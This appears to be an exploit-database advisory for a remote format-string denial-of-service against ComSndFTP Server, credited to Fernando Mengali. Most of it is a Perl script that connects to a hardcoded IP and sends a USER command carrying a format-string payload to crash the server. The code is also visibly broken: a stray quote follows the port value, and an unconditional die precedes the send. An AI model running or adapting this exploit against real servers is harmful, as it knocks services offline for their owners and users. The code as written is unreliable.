ComSndFTP Server Remote Format String - Denial of Service (DoS)

2024.02.01

Fernando Mengali (BR)

Risk: Medium

Local: No

Remote: Yes

CVE: N/A

CWE: 404

#!/usr/bin/perl
# ComSndFTP Server Remote Format String Denial of Service (DoS)

use strict;
use warnings;
use IO::Socket;

$| = 1;

my $host = "192.168.172.136";
my $port = "21"";

my $payload = '%s%p%x%d';

print "Connecting... ";

my $sock = IO::Socket::INET->new(
    PeerAddr => $host,
    PeerPort => $port,
    Proto    => 'tcp',
    Timeout  => 30
);

die "Unable to connect \n";

$sock->recv(my $content, 100, 0);
sleep(2);

$sock->send("USER $payload\r\n", 0);
sleep(2);

$sock->recv($content, 100, 0);
sleep(5);

$sock->close;

print "Denial Of Service completed!\n";
exit(0);

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

ComSndFTP Server Remote Format String - Denial of Service (DoS)

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.